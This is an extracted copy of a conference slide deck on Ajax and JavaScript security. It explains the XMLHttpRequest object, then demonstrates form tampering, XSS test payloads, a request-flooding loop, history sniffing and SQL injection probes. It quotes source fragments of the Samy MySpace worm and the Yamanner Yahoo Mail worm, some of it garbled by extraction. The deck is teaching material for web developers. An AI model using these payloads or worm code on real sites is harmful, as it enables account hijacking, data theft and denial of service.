Investigating JavaScript and Ajax Security

Document Sample
Investigating JavaScript and Ajax Security Powered By Docstoc
					Investigating JavaScript
   and Ajax Security

 Presented By: Eric Pascarello
  Background on Eric Pascarello
► Author   of:
   Ajax In Action [Manning]
   JavaScript: Your visual blueprint for building
    dynamic Web pages (2nd ed) [Wiley]
► HTML  and JavaScript Moderator at since 2001
► Developer at
► Perform talks on Ajax around the world.
What we are going to investigate

                ► Ajax Model
                ► Classic Postback Model
                ► Form Hacks
                ► XSS - JavaScript
                ► Ajax Worms
                ► Other Injections
One thing everyone must do:
   Use Common Sense!
What is Ajax exactly?
         Quick Intro to Ajax
► Ajax is Asynchronous JavaScript and XML
► Coined by Jesse James Garrett of Adaptive
► Not a language!
► Uses JavaScript on the client and any
  Language on the Server
  Ajax Security Makes a lot of news
             because of:
► Inexperienced  developers working with
  technologies they do not understand!
    JavaScript:
      ► The   Cutting Edge Technology of Ctrl-C and Ctrl-V

► Tutorials,    Articles, and Books skipping the security

► Tons   of High Profile Websites using it!
Adaptive Path’s Original Diagram
 The Real Life Diagram Of Ajax
How to explain Ajax to your non-geek friends

The Bleak Situation
       The Non-Ajax Solution
► Figure out what is more important and rank
  order of operation.
► Should I clean the mess, get food, or
  update the outdated music collection?
► Perform one task and do the others after
  each other. Hopefully I have enough time!
   Go to Store, Download Music, Clean Apartment
    so it can be trashed again.
The Ajax Solution
         ►   Do multiple things at once!

         ► Hire a maid to do the
         ► Order delivery pizza!
         ► And I can download new
           music while others do the
           dirty work! Ajax Clean!
           The “Ajax Engine”
► The   XMLHttpRequest Object
   Allows us to send information server without
    post backs
   Makes the request and receives the data back
   Can be asynchronous or synchronous

► Same   Domain Policy
   Can not make requests to other domains
              The XHR Object
► The   Gecko / Safari / IE7 Object Constructor
   req = new XMLHttpRequest();

► The   ActiveX for IE 5 to IE 6
   req = new
   req = new ActiveXObject("Msxml2.XMLHTTP");
                XHR Object Methods
            Method                            Description
abort()                              Stops the current request

getAllResponseHeaders()              Returns all header (labels/value) sets

getResponseHeader("headerLabel")     Returns value of a specified header

open("method", "URL"[, asyncFlag[,   The heart and soul! Sets destination
"userName"[, "password"]]])          URL, method, and other optional
send(content)                        Transmits the request

setRequestHeader("label", "value")   Assigns header to be sent with a
           XHR open()

► open("method","URL", asyncFlag);
 method = GET or POST

         URL = Page to request
        asyncFlag = True or False
► Send is like clicking thesubmit button on a form.
► The parameters should    be set to null or empty
  string if you are not posting any information.
► If you are posting, the name/value pairs should
  look like a querystring without the question mark.
    req.send("foo=bar&ajax=123");
► Ifyou are using GET, append the values to the
  URL in the open method.
    Remember GET has a size limitation.
► If you want to send information, you have to add
  it manually.
    No free ride like a form!
               XHR Object Properties
               Property             Description
onreadystatechange        Event handler for an event that fires at
                          every state change

readyState                Object status integer

responseText              String version of data returned from server

responseXML               DOM-compatible document object of data
                          returned from server process

status                    Numeric code returned by server, such as
                          404 for "Not Found" or 200 for "OK"

statusText                String message accompanying the status
► The   objects only event handler.
► It is fired only when in asynchronous mode
    3rd parameter is set to true in the open method
► Itis fired a total of 4 times.
► We can assign a reference to a function or build a
  anonymous function to it
    req.onreadystatechange = functionName;
    req.onreadystatechange = function(){
                 readyState values
►   0 - Uninitialized
     The initial value when new reference to Object is created
►   1 - Open
     The open() method has been successfully called.
►   2 - Sent
     The request made it, but no data has yet been received.
►   3 - Receiving
     All HTTP headers have been received.
     Value set right before receiving the message body
►   4 - Loaded
     The data transfer has been completed.
     We can now play with the data!
► We    are looking for a value of 200

► Ifyou are working on the file protocol
 (eg: local disk not on a web server) than you are
  looking for a value of 0 [zero]).

► Yes the XMLHttpRequest object can be run off of
  the Active Desktop.

► Can   be read when readyState = 4
       Basic Example of code
var req = GetXHRObject();"POST", "secure.aspx", true);
req.onreadystatechange = finishRequest;

►I  can see the page that it is requesting from
  the JavaScript code!
► I can see the parameters being sent!
► I can see the validation!
► I can see the Business Logic!
► I can rule the world!
Before We Surrender to Fear

  Let us look at the classic postback
       and Ajax models in detail
            What is Different?
   var req = GetXHRObject();"POST", "secure.php", true);
   req.onreadystatechange = finishRequest;

Regular Form POST
   <form action="secure.php" method="POST">
   <input type="text" name="foo" value="bar">
   <input type="hidden" name="ajax" value="123">
   <input type="submit" name="sub1">
A Web 2.0 Web Site
  Major Cause Of Security Concerns
► Ajax   model uses WebServices
   Legacy or New
► More Ajax Functionality = More WebServices =
  More places to attack
   Just need to forget one thing to make a new hole
► Yesyou can use the XMLHttpRequest Object to
  make requests without the users knowledge.
   We can also use images, iframes, frames, popup
  Major Cause Of Security Concerns

► Business   Logic

► Building   Proxy Services to talk to outside

► Displaying   User Content
   Tags, forums, blogs, comments, etc
Grandma is a Hacker
          ► Everyone   is giving you
            bad data.
          ► Everyone is trying to
            hack you
          ► Everyone wants to
            cause a DOS attack on
            your server!

          ► VALIDATE   ON THE
       Business Logic Security
► JavaScript is basically open source.
► Use JavaScript as the rendering Engine
► Validate the info on the server!
   Use ClientSide validation as a mechanism to
    save user time and bandwidth

           Obfuscation is easily reversed!
► JavaScript
 Don’t waste your money!
 The First Get Some Common Sense
           Award Goes To:
►   A tutorial on Ajax to display data into a textarea

function getOnlineClass()
  var url = 'http://localhost/MyOnlineClass?sql=SELECT* from
   LOP FOR XML AUTO &root=DSLOP';"GET", url, true);
  http.onreadystatechange = useHttpResponse;

I wish I would have made this up!
So You Think Your Form Is Safe?
► Example

► Address  bar is our friend for reckoning havoc!
► javascript:yourStatements;void(0);

► Add   an external JavaScript file!
   javascript:var
       Hidden Fields Are Editable?
►   The Bookmarklet and the Example

►   Bookmarklets makes it easy to execute code instead of
    manually adding it to the address bar.

►   What is a bookmarklet?
     JavaScript statement(s) stored in a favorites link!

►   How can I do this? Create a link on a webpage, save the
    page, open it, right click on the link, add to favorites.
     <a href="javascript:alert(new Date());void(0);">Show Time</a>
 Who Needs ServerSide Validation
 When We Have ClientSide Checks?
► Example

► Whywaste time disabling JavaScript when
 we can just override the annoying function!

► Setevent handlers, functions, variables
 from status bar!
Simple Scripted Attacks On A Server

var req = new Array();
for(var i = 0; i<1000; i++){
  req[i] = GetXHRObject();
  req[i].open("POST", "secure.aspx", true);
  req[i].onreadystatechange = function(){};
  req[i].send("foo=" + i);
Is This A Vulnerability?

 YES      or    NO
 What is your browser telling others
            about you?
► The advertisers dream, the health insurance
  companies dream, your snooping boss’s
  dream JavaScript.
► The links are telling us where we have

► Example:   Is it a vulnerability or a feature?
So with some JavaScript we can test
          where you been
► Targeted   Advertising for geeks, gamers,
  pet owners, sports fans, porn lovers, etc.
► Medical Privacy: Look to see if you been on Cancer
  Sites, looking at sites on Heart conditions, etc.
► Your Company can check to see if you are doing
  online shopping without installing loggers!
► Scan for Google Searches
   Only Problem: caps matter!
         Let Us Now Look AT XSS
► Cross Site Scripting (XSS) allows for malicious
  people to inject HTML, JavaScript, PHP, PERL,
  CSS, etc. into a Web page.

► Gets around same domain policy
► Allow injection of browser vulnerability code
► Allows for people to steal information
► Can create real annoying for-loop alert attacks!
      The Second Get Some Common
          Sense Award Goes To:
► They allow     you to save your preference settings
    on their site with a form. Problem is it is a GET!

►   The link will change the settings on their site to show 100 results,
    change the adult filter, country, etc.

►   Don’t update settings with GET
►   Set a hidden iFrame/image with this URL and you can change
    everyone’s settings that come to your web site.
►   The Google Toolbar used to has this same problem when it was first
          Biggest Offenders in XSS
►   Web Pages that use
       Search Pages
       Guestbooks
       RSS Readers
       Blog Comments
       Web based chat/games
       Error Pages

►   Anywhere user can insert data and it is redisplayed back
    without removing the escaping the user’s input!

►   Example Time with a Popular Website’s Search! (link not
    Test For JavaScript Injection
► Step  1: type in <script>alert("hi");</script> into
  any field on a page.
► Step 2: Submit the page
► Step 3: If you see the alert, you got success! If no
  alert continue
► Step 4: View Source of Page and look for the code
  you added
► Step 5: See if they are escaping everything
► Step 6: Try the injections on the next slide
   Cross Site Scripting Cheat Sheet
        Esp: for filter evasion

► Website   has a long list of ways to get past
► Spend some time and go through the list!
  Combine Visited Links with XSS
► So lets say we have a list of XSS hacks we know
  about. Lets say Bank MoneyBags has a XSS hole.

►A   surfer checks their balance at and did not sign out. He just
  surfed away.
► The Surfer Went to site where this visited links
  code was.
► Positive match was found for the Bank link, XSS
  link is fired into iFrame / pop-up window / image.
► And the money is now in a Swiss Account!
          What can be done?
► Add  key listeners and send data to outside
► Change user names, passwords, preferences
► Sniff out and steal sensitive data
► Annoy users with infinite alert loops!
► Send email
► Add posts to forms

► How   much damage can Ajax plus XSS? We are
  talking about JavaScript!
Real Life JavaScript Injections with Ajax!

► Samy []
      Ajax based worm that added user to friend’s list
      October 4, 2005
      20 Hours
      Over 1 million users had been effected
      Flaw was based on CSS background image
                                  The code of Samy
<div id=mycode style="BACKGROUND: url('java
      script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{var
      D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return eval('document.body.inne'+'rHTML')}}function
      getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}function getQueryParams(){var;var
      F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var
      J;var AS=getQueryParams();var L=AS['Mytoken'];var
      earch}else{if(!M){getData(g())}main()}function getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function nothing(){}function
      paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-
      1){Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function
      urlencoded');J.setRequestHeader('Content-Length',BK.length)}J.send(BK);return true}function findIn(BF,BB,BC){var
      R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function
      getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var
      T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var
      Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new
      XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new
      ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var
      AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var
      AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero. <d'+'iv
      id='+AE+'D'+'IV>'}var AG;function getHome(){if(J.readyState!=4){return}var
      AR=getFromURL(AU,'Mytoken');var AS=new
      nterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var
      AR=getFromURL(AU,'Mytoken');var AS=new
      fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function main(){var AN=getClientFID();var
      processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var
      AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to
          Samy Injection Highlight
► <div     id=mycode style="BACKGROUND:
    expr="var B=String.fromCharCode(34

►   This injection is listed on
    (Scroll past the halfway point on the page to see it!)
             Yahoo gets attacked!
►   Yamanner []
      Yahoo! Mail worm
      June 12, 2006
      Sent users address book to remote server

     <img
      _mail_1.gif' target=""onload="var http_request = false;

     Have link to full code on my blog:
      JavaScript Port Scanning?
► JavaScript   Port Scanning can be done!
► General   Summary From White Paper
   Code gets injected into intranet web page
   Every Server Installation has default images
   JavaScript scans IP ranges for defaults
   If image has width/height, we know the server type,
    and IP address.
   Post data back to outside server
               JSON Injection
► JavaScriptObject Notation (normally preferred
  over XML format)
► Can bypass the Cross Site Scripting Restrictions
► Problem with this: Code is eval()/injected onto
  page to make it usable for JavaScript.
   Have to trust your source they do not embed other
   Preferred method is to loop through the data.
   Check out for more information!
                    Other Injections
►   SQL Injection
     Quick test in an URL insert ' to the querystring and see if you get
      an error message! …com?ID=314'159
►   CSS Injection
     Change the cached CSS file on the local machine! Screw with your
      friends that Digg is now pink! Hide the log in fields, move elements
     Page can be loaded with bad data or data can be sent with bad
      data to the server!
►   DOM Injection
     Additional elements can be added, removed, changed, etc.
►   Cookies
     Delete, Add, Change, and see what happens to the sessions!
Same Domain Policy Workaround: Proxy!
        What is bad about this?
► Inject   JavaScript code onto page.
   Free data mining service with unlimited access!
   Most proxy services have limited access unless
    you have good relations!
► DOS   service attacks
   Remember that Ajax For Loop making requests!
   DOS the site, proxy thinks that the server is
    attacking them.
   Rest of users on site lose the functionality
                  Other Tools
► Firefox   Extensions
     Firebug – view the XMLHttpRequests
     Selenium – Record scripts and replay them!
     JSView – See All JavaScript/CSS with a click
     Modify Headers – (what the name implies!)
     NoScript – Turn off or limit scripts
► Fiddler   and other Proxys– Watch all traffic
              Quick Summary
Ajax Adds more attack vectors
► Do what you always done on the server!
   Keep the business logic on the server
   Validate on the server
    ►White   List / Blacklist
   Check/Remove Injections
► Remember that Proxys can be abused!
► Use Common Sense

► Email:
► Blog:
► Forums:
► Ajax In Action:
► Need a Job?